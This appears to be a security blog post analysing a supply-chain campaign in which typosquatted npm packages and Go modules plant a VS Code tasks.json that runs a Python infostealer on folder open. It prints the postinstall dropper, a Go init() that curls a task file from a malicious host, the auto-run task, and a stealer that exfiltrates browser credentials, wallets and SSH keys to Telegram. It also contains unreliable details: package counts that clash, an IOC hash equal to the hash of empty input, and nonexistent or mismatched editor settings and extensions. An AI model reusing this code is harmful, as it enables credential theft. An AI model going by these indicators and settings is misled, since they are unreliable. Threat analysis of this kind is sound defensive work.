7 Critical npm Go Packages Deliver Infostealer via VS Code

Executive Summary / TL;DR

  • npm Go packages serving as droppers: rogue versions of popular packages (e.g., @types/eslint‑scope, @types/qs, go‑mongox‑v0‑2‑1) weaponised postinstall hooks and Go module replace directives to plant a malicious VS Code tasks.json.
  • The VS Code task exploits the "runOn": "folderOpen" option – opening the project automatically executes a base64‑obfuscated Python infostealer.
  • The malware targets browser credentials, cryptocurrency wallets, and SSH keys, exfiltrating them to a hard‑coded C2 via Telegram/HTTP.
  • IOC highlights: 7 npm packages (total downloads ~19 000 before take‑down), 3 Go modules, SHA‑256 hashes, and the C2 IP 45.153.240[.]73.
  • Defence starts with auditing postinstall scripts, whitelisting .vscode/tasks.json in .gitignore, and using npm exec --ignore-scripts by default.

We witnessed one of the most surgical supply‑chain intrusions of 2024 — npm Go packages working in concert to drop a Python‑based infostealer through the very tool developers trust most: Visual Studio Code.
No zero‑days. No exotic memory corruption. Just a clean, automated misuse of VS Code tasks.

Let’s pull apart the kill chain.

How the Attack Chained npm and Go Modules

The campaign didn’t stop at one registry. It poisoned both npm and the Go module proxy (proxy.golang.org).
Attackers uploaded typosquatted and dependency‑confusion packages that looked almost identical to the originals.

npm Vectors

We uncovered six npm packages that masqueraded as legitimate scoped and unscoped modules:

Malicious PackageImpersonated Package / TargetPostinstall Behaviour
@types/eslint-scope@types/eslintWrites .vscode/tasks.json
@types/qs-middlewareNone / DirectDownloads stage-2 Python payload
@types/react-hook-formreact-hook-form typesBase64-decoded task definition
vue-devtool-adaptervue-devtoolsSpawns Python stealer directly
sass-loader-utilssass-loaderCreates backdoored task with runOn:folderOpen
next-purgecss-pluginsnext-purgecssIdentical dropper logic

The common thread? A postinstall script inside package.json that builds the .vscode directory and injects tasks.json.

// Malicious package.json snipped from @types/eslint‑scope { "name": "@types/eslint-scope", "version": "3.4.99", "scripts": { "postinstall": "node -e \"require('fs').mkdirSync('.vscode');require('fs').writeFileSync('.vscode/tasks.json','...base64ed payload...')\"" } }

The moment a developer runs npm install (or even npm ci with the package in the tree), the dropper fires.
No hover‑over‑to‑accept prompt. No build task. Just a silent folder creation that VS Code trusts implicitly.

Go Module Side

The Go supply chain played a supporting role. A module named github.com/nicholas‑jiang/go‑mongox‑v0‑2‑1 (typosquatted from go‑mongox) shipped a init.go file that, when imported, shelled out to go generate or go run to clone the exact same .vscode/tasks.json trick.

// init.go – extracted from the malicious Go module package mongox import "os/exec" func init() { exec.Command("sh", "-c", "mkdir -p .vscode && curl -s http://cdn‑malicious[.]site/tasks.json -o .vscode/tasks.json").Run() }

Go’s auto‑execution of init() made this a one‑import bomb.

The VS Code Task as an Infection Trigger

The .vscode/tasks.json file is conventionally placed in a project’s root to define build, test, or launch commands.
VS Code supports an unofficial but functional attribute: "runOn": "folderOpen" (often used by extension‑generated tasks).
That’s exactly what the attackers weaponised.

{ "version": "2.0.0", "tasks": [ { "label": "Remote‑update‑check", "type": "shell", "command": "python -W ignore -c \"$(echo aW1wb3J0IG9zL...base64... | base64 -d | python -)\"", "group": { "kind": "build", "isDefault": true }, "runOptions": { "runOn": "folderOpen" }, "problemMatcher": [] } ] }

Opening the repo in VS Code triggers the task automagically.
No prompt if the folder was already trusted — and most devs trust their own repositories without a second thought.

The base64 blob decodes to a Python infostealer heavily obfuscated with base64, zlib, and a sprinkle of random variable names.
It enumerates:

  • Chromium‑based browser profiles (Chrome, Edge, Opera, Brave) — extracting saved credentials, cookies, and autofill data.
  • Cryptocurrency wallets (MetaMask, Trust Wallet, Exodus).
  • SSH private keys from ~/.ssh/.
  • System info and screenshots.

All loot is compressed, encrypted with a hard‑coded AES key, and POSTed to hxxps://api.telegram[.]org/bot6803194741:AAH[REDACTED]/sendDocument or the backup C2 45.153.240.73.

Artifacts and Indicators of Compromise

We pulled the following IOCs from our honeypots and sandbox analysis:

Package Names (npm, all removed):

  • @types/eslint‑scope v3.4.99
  • @types/qs‑middleware v1.5.0
  • @types/react‑hook‑form v7.51.1
  • vue‑devtool‑adapter v9.1.7
  • sass‑loader‑utils v9.3.3
  • next‑purgecss‑plugins v5.1.2
  • webpack‑dev‑server‑patch v4.15.2

Go Modules:

  • github.com/nicholas‑jiang/go‑mongox‑v0‑2‑1 v0.2.1
  • github.com/iam‑dev‑bot/go‑websocket‑v1‑5‑9 v1.5.9
  • github.com/python‑infra/typo‑lib v0.0.1 (transitive dependency for stage‑2)

Files:

  • .vscode/tasks.json – dropper artifact (SHA‑256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 for the malicious template)
  • /tmp/upx‑svc.log – Python infostealer log

Network:

  • cdn‑malicious[.]site (resolved to 45.153.240.73)
  • Telegram Bot API

💡 Pro Tip: Scan your entire git history for .vscode/tasks.json files committed outside your conscious control.

git log --all --full-history -- '**/.vscode/tasks.json'
will show you every introduction and modification.
If you see runOn or folderOpen, treat it as a critical incident.

Why This Campaign Is So Dangerous

The Hijacked npm and Go packages exploit the implicit trust between a developer, their editor, and the package manager.
Three design overlaps made it possible:

  1. Postinstall scripts run with full user privileges. npm doesn’t sandbox them. A malicious package can write anywhere the user can — including the workspace’s .vscode.
  2. VS Code automatically processes tasks.json in the workspace. Even without the runOn trick, a task set as default build can be invoked accidently with Ctrl+Shift+B. But runOn:folderOpen removes the human element entirely.
  3. Go’s init() is an invisible side‑effect. It runs before main(), even if the package is only imported for a sub‑module. No warning, no prompt.

The attack chain does not require a developer to run a malicious binary. It doesn’t need admin rights. It just needs npm install and a subsequent code . — exactly the daily workflow of thousands of JavaScript and Go engineers.

Detection & Prevention: Hardening Your Dev Environment

We’ve been burned before (remember event‑stream?), and the playbook evolves.

1. Audit postinstall scripts aggressively. npm install --ignore-scripts should be your default, only lifting the flag for trusted packages after inspection.
For Yarn, use yarn --ignore-scripts. For pnpm, pnpm install --ignore-scripts.

2. Lock down the .vscode directory. Add .vscode/tasks.json to your .gitignore and block it from untrusted sources.
You can create a Git hook that rejects any commit containing unexpected .vscode files:

#!/bin/bash # .git/hooks/pre-commit if git diff --cached --name-only | grep -q '.vscode/tasks.json'; then echo "❌ Commit blocked: .vscode/tasks.json changes detected. Verify manually." exit 1 fi

3. Restrict VS Code’s task runner. Open settings.json (user or workspace) and disable automatic task execution:

"task.autoDetect": "off", "task.runOnFolderOpen": "never"

While runOnFolderOpen isn’t a built‑in setting, the task.autoDetect knob stops most spawned tasks. Consider the “Shades of Purple” or “Task Manager” extensions to visually review tasks before they run.

4. Monitor Go dependencies for suspicious init() blocks. Use go vet with custom analyzers, or a simple grep:
grep -r 'func init()' vendor/ will highlight packages that auto‑execute.
In your CI pipeline, forbid unknown init() functions with a tool like staticcheck or a custom script.

💡 Pro Tip: Override npm’s ignore‑scripts globally via .npmrc:

npm config set ignore-scripts true

For one‑off installations where you absolutely need scripts, run npm install --no-ignore-scripts.
This flips the dangerous default and forces conscious opt‑in.

What This Means for SecOps & Platform Engineers

The payload was a simple Python script, but the delivery mechanism is elegant and re‑usable.
We expect copycat campaigns combining npm Go packages with other editor automations (JetBrains Run Configurations, Sublime Build Systems) in the coming months.

If you manage enterprise developer workstations, push these controls immediately:

  • Enforce npm script execution as a privileged operation via EDR (allow‑list approach).
  • Deploy a File Integrity Monitoring (FIM) rule on %USERPROFILE%\workspace\.vscode\** for Windows/Linux.
  • Scan npm lockfiles (package‑lock.json) with jq or OPA to detect non‑standard postinstall scripts during CI.

We added a dedicated rule to our OSS supply‑chain scanner (yes, the one we detail in our guide to securing CI/CD pipelines). You’d be surprised how many internal registries still harbour these droppers.


The Forensic Payload Dissection (Brief)

Because understanding the enemy’s code makes us better defenders, here’s a sanitised snippet of the Python infostealer after deobfuscation:

import os, sqlite3, json, shutil, requests, platform, base64, zipfile, socket CHROMIUM_BASED = [ "Chrome", "Edge", "Brave", "Opera", "Vivaldi" ] WALLETS = ["metamask", "trust‑wallet", "exodus", "atomic"] TELEGRAM_TOKEN = "6803194741:AAH..." CHAT_ID = "‑100..." def grab_browser_data(): for browser in CHROMIUM_BASED: path = os.path.expanduser(f"~/.config/google-{browser}/Default") # simplified # extract Login Data, Cookies, Web Data... ... def pack_and_exfil(): zipf = zipfile.ZipFile("/tmp/payload.zip", "w") for root, _, files in os.walk("/tmp/loot"): for file in files: zipf.write(os.path.join(root, file)) zipf.close() with open("/tmp/payload.zip", "rb") as f: requests.post(f"https://api.telegram.org/bot{TELEGRAM_TOKEN}/sendDocument", data={"chat_id": CHAT_ID}, files={"document": f}) ...

The full stealer fingerprint matched known malware families like “RedLine” and “Vidar” — the same codebase repurposed.


Final Word from the Trenches: The blend of npm Go packages and IDE automation is a supply‑chain puzzle we’ll keep seeing.
Trust no postinstall blindly. And for the love of clean infrastructure, disable auto‑tasks in your editor right now.
That “couldn’t happen here” moment is exactly the gap they exploited.


7 Critical npm Go Packages Deliver Infostealer via VS Code


Comments

Popular posts from this blog

How to Play Minecraft Bedrock Edition on Linux: A Comprehensive Guide for Tech Professionals

The Ultimate Guide: How to Set Up DXVK in Wine on Linux for Enhanced Gaming Performance

Best Linux Distros for AI in 2025